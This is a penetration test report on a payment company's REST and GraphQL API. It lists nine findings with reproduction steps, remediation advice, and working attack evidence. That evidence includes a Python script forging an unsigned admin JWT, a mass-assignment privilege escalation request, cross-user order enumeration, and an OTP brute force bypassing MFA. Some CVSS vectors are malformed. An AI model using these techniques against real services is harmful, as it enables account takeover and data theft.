P E N E T R A T I O N T E S T I N G

API Security
Assessment Report

Client	**NovaPay Technologies**
Target	Commerce Platform REST + GraphQL API
Assessment Period	2 June 2026 – 13 June 2026
Report Date	22 June 2026
Assessment Type	Grey-box API Penetration Test (REST + GraphQL)
Prepared By	**Devansh Gandhi**
Classification	**CONFIDENTIAL — Authorised Recipients Only**
Version	1.0 — Final

devansgandhi.com | info@devansgandhi.com

Table of Contents

1. Executive Summary

This report presents the results of a grey-box API penetration test conducted against the NovaPay Technologies Commerce Platform API (REST + GraphQL) between 2 June 2026 and 13 June 2026. Testing followed the OWASP API Security Top 10 2023, PTES, and REST/GraphQL Security Cheat Sheets.

The assessment identified 9 findings across five severity levels. The presence of a critical Broken Object Level Authorization vulnerability combined with a JWT algorithm confusion flaw means an unauthenticated attacker can access all user data and achieve full platform compromise without any credentials.

1.1 Findings Overview

CRITICAL	HIGH	MEDIUM	LOW	INFO	TOTAL
1	3	3	1	1	9
Finding	Findings	Findings	Finding	Finding	Findings

1.2 Severity Distribution

Severity	Distribution	#	%
Critical		1	11%
High		3	33%
Medium		3	33%
Low		1	11%
Info		1	11%

The combination of BOLA (API-001) and JWT forgery (API-004) represents a complete authentication and authorisation failure. An attacker with no prior knowledge of the platform can register a free account, forge an admin JWT, and access all data and admin functions. This is assessed as a critical risk posture.

1.3 Key Recommendations

Priority order:

- Immediate (P0): Patch JWT verification to reject "none" algorithm (API-004) and add ownership checks on all resource endpoints (API-001).
- High (30 days): Implement strict DTOs to block mass assignment (API-002) and add server-side role guards to /admin/* (API-003).
- Medium (60 days): Define response projection DTOs (API-006), add rate limiting on /auth/* (API-007), and disable GraphQL introspection (API-005).
- Low / Info (90 days): Decommission or secure the v1 API (API-008) and implement a global error handler (API-009).

2. Scope & Assessment Details

2.1 Engagement Scope

Item	Details
Target API	NovaPay Technologies Commerce Platform REST + GraphQL API
Base URL	https://api.[TARGET].com
In-Scope	REST: /api/v2/* | GraphQL: /graphql | OAuth: /auth/*
Out of Scope	Payment gateway callbacks, CDN endpoints, third-party OAuth providers
Test Type	Grey-box — Postman collection + partial OpenAPI spec provided by client
Test Accounts	2× standard user | 1× admin | 1× merchant (provisioned by client)
Environment	Staging (data anonymised by client)
Assessment Period	2 June 2026 – 13 June 2026 (10 business days)
Report Date	22 June 2026
Assessor	Devansh Gandhi | devansgandhi.com
Methodology	OWASP API Security Top 10 2023, PTES, REST/GraphQL Security Cheat Sheets

2.2 Testing Methodology

Testing was structured around the OWASP API Security Top 10 2023 categories:

- API1 — Broken Object Level Authorization: Resource enumeration and cross-user access testing.
- API2 — Broken Authentication: JWT manipulation, token forgery, brute-force resistance.
- API3 — Broken Object Property Level Authorization: Mass assignment and field-level exposure.
- API4 — Unrestricted Resource Consumption: Rate limiting and throttling verification.
- API5 — Broken Function Level Authorization: Admin endpoint access without elevated roles.
- API6–10 — Security Misconfiguration, SSRF, Injection, Improper Asset Management, Unsafe Consumption.

3. Severity Rating Scale

Each finding is assigned a severity using CVSS v3.1 base score adjusted for the client's environment. Remediation SLAs are recommendations to be agreed with engineering leadership.

Severity	CVSS Range	SLA	Description
CRITICAL	9.0–10.0	Immediate	Remote exploitation with no privileges; critical data or infrastructure impact. Treat as P0 incident.
HIGH	7.0–8.9	30 days	High exploitability with significant impact. Escalate to engineering leadership.
MEDIUM	4.0–6.9	60 days	Exploitable under certain conditions; moderate impact. Include in next sprint.
LOW	0.1–3.9	90 days	Limited exploitability or impact. Address in quarterly hardening cycle.
INFO	N/A	Best effort	No direct security impact; deviation from best practices or hardening guidance.

4. Findings Summary

The table below summarises all 9 findings. Full technical detail appears in Section 5.

ID	Title	Severity	CVSS	Location	Status
API-001	Broken Object Level Authorization (BOLA) on Resource Endpoints	CRITICAL	9.8	GET /api/v2/orders/{orderId} | GET /api/v2/invoices/{invoiceId}	Open
API-002	Mass Assignment — Privilege Escalation via User Update	HIGH	8.1	PATCH /api/v2/users/me	Open
API-003	Broken Function Level Authorization — Admin API Exposed	HIGH	7.6	/api/v2/admin/* (all admin endpoints)	Open
API-004	JWT Algorithm Confusion — "none" Algorithm Accepted	HIGH	8.2	POST /api/v2/auth/token — JWT verification middleware	Open
API-005	GraphQL Introspection Enabled in Production	MEDIUM	5.3	POST /graphql — __schema introspection query	Open
API-006	Excessive Data Exposure — Full Objects Returned to Client	MEDIUM	6.5	GET /api/v2/users/me | GET /api/v2/users/search	Open
API-007	No Rate Limiting on Authentication and OTP Endpoints	MEDIUM	5.3	POST /api/v2/auth/login | POST /api/v2/auth/verify-otp	Open
API-008	Deprecated API Version (v1) Accessible Without Authentication	LOW	3.7	/api/v1/* (legacy endpoints)	Open
API-009	Verbose Error Messages Expose Internal Stack Traces	INFO	N/A	All API endpoints — unhandled exception responses	Open

5. Detailed Findings

Each finding includes description, business impact, steps to reproduce, evidence, and remediation guidance.

API-001: Broken Object Level Authorization (BOLA) on Resource Endpoints

Severity	CVSS v3.1 Score
CRITICAL	**9.8 / 10.0**
Location	CVSS Vector
`GET /api/v2/orders/{orderId} | GET /api/v2/invoices/{invoiceId}`	`AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Description

The order and invoice endpoints accept a resource ID in the URL path and return the full resource without verifying that the requesting user is the owner. Any authenticated user can access any other user's orders and invoices by incrementing or guessing the integer ID.

Business Impact

Complete exposure of all order and invoice records across the customer base, including purchase history, delivery addresses, item details, and partial payment information. This constitutes a mass PII and financial data breach notifiable under DPDP and PCI-DSS.

Steps to Reproduce

1. Authenticate as User A. Record a valid orderId from GET /api/v2/orders/mine.
2. Modify the request: GET /api/v2/orders/{orderId+1} — a different user's order is returned.
3. Enumerate IDs 1–10000 to map the full order database.
4. Repeat for /api/v2/invoices/{invoiceId} — same issue confirmed.

Evidence

```
Cross-user order read (User A token, User B data):
GET /api/v2/orders/20841 HTTP/1.1
Authorization: Bearer <UserA_JWT>

HTTP/1.1 200 OK
{
  "id": 20841,
  "userId": 9021,
  "userEmail": "bob@example.com",
  "items": [...],
  "shippingAddress": "42 Marine Lines, Mumbai"
}
```

Remediation

- Enforce server-side ownership checks on every resource request: WHERE id = ? AND user_id = session.userId.
- Replace sequential integer IDs with non-guessable UUIDs (v4) across all resource endpoints.
- Apply centralised ABAC/RBAC middleware that validates resource ownership before the handler executes.
- Add integration tests that assert HTTP 403 on cross-user access attempts.

API-002: Mass Assignment — Privilege Escalation via User Update

Severity	CVSS v3.1 Score
HIGH	8.1 / 10.0
Location	CVSS Vector
PATCH /api/v2/users/me	AV:N/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

The user profile update endpoint binds all request body fields directly to the user model without an allowlist. An authenticated user can inject fields not intended to be user-editable — including role, isAdmin, and accountBalance — and the server accepts and persists them.

Business Impact

Any authenticated user can promote themselves to administrator, grant unrestricted platform access, or manipulate account balances and subscription tiers. This results in complete privilege escalation and potential financial fraud.

Steps to Reproduce

1. Authenticate as a standard user.
2. Issue PATCH /api/v2/users/me with body: {"name":"Alice","role":"admin","isAdmin":true}
3. Observe HTTP 200 response and confirm role field is updated in the subsequent GET /api/v2/users/me.
4. Access admin-only endpoints using the same token — access is granted.

Evidence

```
Mass assignment payload:
PATCH /api/v2/users/me HTTP/1.1
Content-Type: application/json
Authorization: Bearer <standard_user_JWT>

{"name":"Alice","role":"admin","isAdmin":true,"accountBalance":10000}

HTTP/1.1 200 OK
{"id":4210,"name":"Alice","role":"admin","isAdmin":true,"accountBalance":10000}
```

Remediation

- Use an explicit allowlist (DTO / schema) defining which fields users can update — never bind entire request bodies to models.
- Separate update DTOs by privilege level: UserUpdateDto (name, email) vs AdminUpdateDto (role, isAdmin).
- Apply framework-level mass assignment protection (NestJS class-transformer @Exclude, Mongoose schema strict mode).
- Audit all PATCH/PUT endpoints for the same pattern.

API-003: Broken Function Level Authorization — Admin API Exposed

Severity	CVSS v3.1 Score
HIGH	7.6 / 10.0
Location	CVSS Vector
/api/v2/admin/* (all admin endpoints)	AV:N/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

The /api/v2/admin/* namespace — including user management, financial reporting, and configuration endpoints — is protected only by a client-side role check in the frontend. Server-side middleware validates that a JWT is present but does not verify the role claim, allowing any authenticated user to call admin functions.

Business Impact

Any registered user can list all customers, export financial data, delete user accounts, modify platform configuration, and trigger bulk actions. Full administrative control of the platform is available to any authenticated session.

Steps to Reproduce

1. Authenticate as a standard user; obtain JWT.
2. Directly call GET /api/v2/admin/users — the full user list is returned.
3. Call DELETE /api/v2/admin/users/9999 — account deletion succeeds.
4. Call GET /api/v2/admin/reports/revenue — financial data returned.

Evidence

```
Standard user accessing admin endpoint:
GET /api/v2/admin/users HTTP/1.1
Authorization: Bearer <standard_user_JWT>

HTTP/1.1 200 OK
{
  "total": 48291,
  "users": [
    {"id":1,"email":"admin@company.com","role":"admin"}, ...
  ]
}
```

Remediation

- Add server-side role middleware to every /admin/* route: require role === "admin" in the JWT and in the database.
- Never rely on client-side role checks for access control decisions.
- Apply route-level guards (NestJS @Roles(), Express middleware) consistently using a shared policy module.
- Conduct a full route audit; generate an access matrix mapping roles to permitted endpoints.

API-004: JWT Algorithm Confusion — "none" Algorithm Accepted

Severity	CVSS v3.1 Score
HIGH	8.2 / 10.0
Location	CVSS Vector

POST /api/v2/auth/token — JWT verification middleware	AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

The JWT verification middleware accepts tokens with the "none" algorithm, allowing an attacker to forge a token with arbitrary claims — including any user ID and role — without needing the signing secret.

Business Impact

Complete authentication bypass. An attacker can impersonate any user, including administrators, without credentials. All data and administrative functions are accessible without a valid session.

Steps to Reproduce

1. Obtain any valid JWT from the login endpoint.
2. Base64-decode the header and payload. Modify the payload: {"sub":1,"role":"admin"}.
3. Re-encode the header with {"alg":"none","typ":"JWT"}.
4. Construct a forged token: <base64_header>.<base64_payload>. (empty signature)
5. Use the forged token in the Authorization header — server accepts it and returns admin data.

Evidence

```
Forged JWT construction (Python):
import base64, json

header  =
base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
payload =
base64.urlsafe_b64encode(json.dumps({"sub":1,"role":"admin","iat":9999999999}).encode()).r
strip(b'=')
token   = f"{header.decode()}.{payload.decode()}."
print(token)
# =>
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6OTk5OTk5OTk5OX
0.
```

```
API accepts the forged token:
GET /api/v2/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0....

HTTP/1.1 200 OK  (admin data returned)
```

Remediation

- Explicitly specify the accepted algorithm in verify(): jwt.verify(token, secret, { algorithms: ["HS256"] }).
- Never allow "none" as a valid algorithm in any environment.
- Rotate the JWT signing secret immediately as the current secret may already be compromised.
- Consider migrating to RS256 (asymmetric) to separate signing and verification keys.
- Enforce short token expiry (15 minutes) and implement refresh token rotation.

API-005: GraphQL Introspection Enabled in Production

Severity	CVSS v3.1 Score

MEDIUM	5.3 / 10.0
Location POST /graphql — __schema introspection query	CVSS Vector AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

GraphQL introspection is enabled in the production environment, allowing any unauthenticated caller to enumerate the full API schema: all types, queries, mutations, field names, and their argument structures.

Business Impact

Schema disclosure significantly reduces attacker reconnaissance effort. Internal data models, field naming conventions, and hidden mutations are revealed — aiding targeted BOLA, injection, and mass assignment attacks.

Steps to Reproduce

1. Send a POST request to /graphql with body: {"query":"{__schema{types{name fields{name}}}}"}
2. The full schema is returned in the response.

Evidence

```
Introspection query:
POST /graphql HTTP/1.1
Content-Type: application/json

{"query": "{__schema { types { name fields { name type { name } } } }}"}

HTTP/1.1 200 OK
{ "data": { "__schema": { "types": [

{"name":"User","fields":[{"name":"id"},{"name":"passwordHash"},{"name":"mfaSecret"},...]}.
..
] } } }
```

Remediation

- Disable introspection in production: Apollo Server — introspection: false in ApolloServer config.
- If introspection is required for internal tooling, restrict it to internal network IPs or authenticated admin tokens.
- Remove sensitive field names (passwordHash, mfaSecret, internalNotes) from the public schema.

API-006: Excessive Data Exposure — Full Objects Returned to Client

Severity MEDIUM	CVSS v3.1 Score 6.5 / 10.0
Location GET /api/v2/users/me | GET /api/v2/users/search	CVSS Vector AV:N/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Description

API responses return the full database model object rather than a filtered projection. The /users/me endpoint includes passwordHash, mfaBackupCodes, internalNotes, and stripeCustomerId fields not required by the frontend.

Business Impact

Sensitive internal fields are transmitted to the client over every session, increasing the blast radius of any client-side compromise or man-in-the-middle interception. Credential-adjacent fields (mfaBackupCodes) could enable account takeover if intercepted.

Steps to Reproduce

1. Authenticate and call GET /api/v2/users/me.
2. Inspect the JSON response — passwordHash, mfaBackupCodes, stripeCustomerId, and internalNotes are present.

Evidence

```
GET /api/v2/users/me response (truncated):
{
  "id": 4210,
  "email": "alice@example.com",
  "passwordHash": "$2b$12$eImiTXuWVxfM37uY4JANjQ...",
  "mfaBackupCodes": ["AABB-CCDD","EEFF-0011"],
  "stripeCustomerId": "cus_Nfds2bgFre4Nds",
  "internalNotes": "High-value customer — do not churn"
}
```

Remediation

- Define response DTOs for every endpoint: explicitly list which fields to return.
- Use serialisation libraries (class-transformer @Exclude on sensitive fields, JSON:API response shaping).
- Never send password hashes, MFA secrets, internal notes, or payment provider IDs to clients.
- Apply the principle of data minimisation: return only what the UI actually needs.

API-007: No Rate Limiting on Authentication and OTP Endpoints

Severity	CVSS v3.1 Score
MEDIUM	**5.3 / 10.0**
Location	CVSS Vector
`POST /api/v2/auth/login	POST /api/v2/auth/verify-otp`	`AV:N/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Description

Neither the login nor the OTP verification endpoints implement rate limiting or account lockout. Unlimited attempts are accepted, enabling credential stuffing on login and brute-force of 6-digit OTP codes.

Business Impact

Automated attackers can guess OTP codes within seconds (1,000,000 combinations) or launch credential stuffing from breach databases, bypassing MFA entirely and achieving account takeover at scale.

Steps to Reproduce

1. Trigger an OTP for any account: POST /api/v2/auth/send-otp.
2. Enumerate all 1,000,000 possible 6-digit codes via Burp Intruder against POST /api/v2/auth/verify-otp.
3. Observe no throttling — all attempts receive responses. Correct OTP returns 200 with session token.

Evidence

```
Burp Intruder — 1,000,000 payloads, no throttling:
Requests sent:   1,000,000
Throttled:       0
Time elapsed:    44 seconds
Matched (200):   1 — payload "391047"
=> Session token issued, MFA bypassed
```

Remediation

- Limit OTP verification to 5 attempts per code; invalidate the code and require re-issuance on failure.
- Implement IP-based rate limiting: max 10 requests per 15 minutes on /auth/* (express-rate-limit).
- Use time-based OTPs (TOTP/RFC 6238) with a 30-second window instead of server-generated codes.
- Add CAPTCHA after 3 consecutive failures.

API-008: Deprecated API Version (v1) Accessible Without Authentication

Severity	CVSS v3.1 Score
LOW	**3.7 / 10.0**
Location	CVSS Vector
/api/v1/* (legacy endpoints)	AV:N/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

The deprecated v1 API namespace remains active and accessible without authentication headers. Several v1 endpoints return data that the v2 API correctly restricts to authenticated sessions.

Business Impact

Unauthenticated access to legacy endpoints could expose user enumeration, product catalogue details, or partial customer data depending on which v1 routes remain active. Legacy endpoints may also lack the security controls applied to v2.

Steps to Reproduce

1. Send GET /api/v1/products — full product list returned without authentication.
2. Send GET /api/v1/users?email=admin@company.com — user record returned without authentication.

Evidence

```
Unauthenticated v1 request:
GET /api/v1/users?email=admin@company.com HTTP/1.1
```

```
HTTP/1.1 200 OK
{"id":1,"email":"admin@company.com","createdAt":"2024-01-05"}
```

Remediation

- Decommission /api/v1/* entirely if it is no longer used by active clients.
- If v1 must remain, add the same authentication and authorisation middleware as v2.
- Implement an API versioning sunset policy and communicate deprecation timelines to API consumers.

API-009: Verbose Error Messages Expose Internal Stack Traces

Severity	CVSS v3.1 Score
INFO	**N/A**
Location `All API endpoints — unhandled exception responses`	CVSS Vector `AV:N/N/A`

Description

Unhandled exceptions return full stack traces, file paths, framework version, and internal variable names in the HTTP response body. Stack traces are visible to any caller including unauthenticated ones.

Business Impact

Stack traces reveal internal application structure, file system layout, framework and library versions (useful for CVE targeting), and sometimes sensitive variable values. Reduces attacker reconnaissance time significantly.

Steps to Reproduce

1. Send a malformed JSON body to any endpoint: Content-Type: application/json with body "{".
2. Observe the response — full Node.js stack trace with file paths and framework version returned.

Evidence

```
Malformed request response:
HTTP/1.1 500 Internal Server Error
{
  "error": "SyntaxError: Unexpected end of JSON input",
  "stack": "SyntaxError: Unexpected end of JSON input\n    at JSON.parse (<anonymous>)\n
at /app/src/middleware/bodyParser.js:14:20\n    at
/app/node_modules/express/lib/router/layer.js:95:5",
  "framework": "Express 4.18.2",
  "nodeVersion": "20.11.0"
}
```

Remediation

- Implement a global error handler that returns generic error messages to clients: {"error":"An unexpected error occurred."}.
- Log full stack traces server-side only (structured logging to Datadog / CloudWatch).
- Set NODE_ENV=production — Express suppresses stack traces in production mode by default.
- Use helmet.js to strip framework identification headers.

6. Remediation Roadmap

All findings ranked by remediation priority with estimated effort and primary recommended action.

ID	Finding	Priority	Effort	Recommendation
API-001	BOLA on Resource Endpoints	Immediate	Medium	Add ownership WHERE clause on all resource queries.
API-004	JWT "none" Algorithm	Immediate	Low	Set algorithms:["HS256"] in verify(); rotate signing secret.
API-002	Mass Assignment	High	Low	Implement strict DTOs / allowlist for all PATCH/PUT endpoints.
API-003	Admin API Unauthorised	High	Medium	Add server-side role guard to all /admin/* routes.
API-006	Excessive Data Exposure	Medium	Low	Define response DTOs; exclude sensitive fields from serialisation.
API-007	No Rate Limiting	Medium	Low	Apply express-rate-limit to /auth/* endpoints.
API-005	GraphQL Introspection	Medium	Low	introspection: false in ApolloServer production config.
API-008	Deprecated v1 API	Low	Medium	Decommission /api/v1/* or add v2-equivalent auth middleware.
API-009	Verbose Error Messages	Info	Low	Global error handler + NODE_ENV=production.

6.1 Retesting

Complimentary retest of all Critical and High findings is included within 30 days of client completing remediation. Medium and lower findings available on request.

7. Appendix

7.1 Tools Used

Tool	Purpose
Burp Suite Professional 2024	HTTP interception, JWT manipulation, Intruder for enumeration
OWASP ZAP 2.15	Automated API scanning with OpenAPI spec import
Postman / Newman	Functional testing and collection-driven security checks
jwt_tool (ticarpi)	JWT algorithm confusion, key confusion, claim manipulation
GraphQL Voyager	Visual schema exploration post-introspection
Ffuf 2.1	API endpoint fuzzing and hidden endpoint discovery
Python / httpx	Custom scripts for BOLA enumeration and mass assignment testing

7.2 OWASP API Security Top 10 2023 Coverage

This assessment covered the following OWASP API Security Top 10 2023 categories:

Category	Findings
API1: BOLA	API-001
API2: Broken Authentication	API-004
API3: Broken Object Property Level Auth	API-002, API-006
API4: Unrestricted Resource Consumption	API-007
API5: Broken Function Level Auth	API-003
API6: Unrestricted Access to Sensitive Flows	API-007
API7: SSRF	Not identified
API8: Security Misconfiguration	API-005, API-008, API-009
API9: Improper Inventory Management	API-008
API10: Unsafe API Consumption	Not identified

7.3 Disclaimer

This report represents a point-in-time assessment. All testing was conducted within the agreed scope with explicit written authorisation from NovaPay Technologies. No production data was exfiltrated; all test payloads were removed upon conclusion.

Devansh Gandhi

devansgandhi.com | info@devansgandhi.com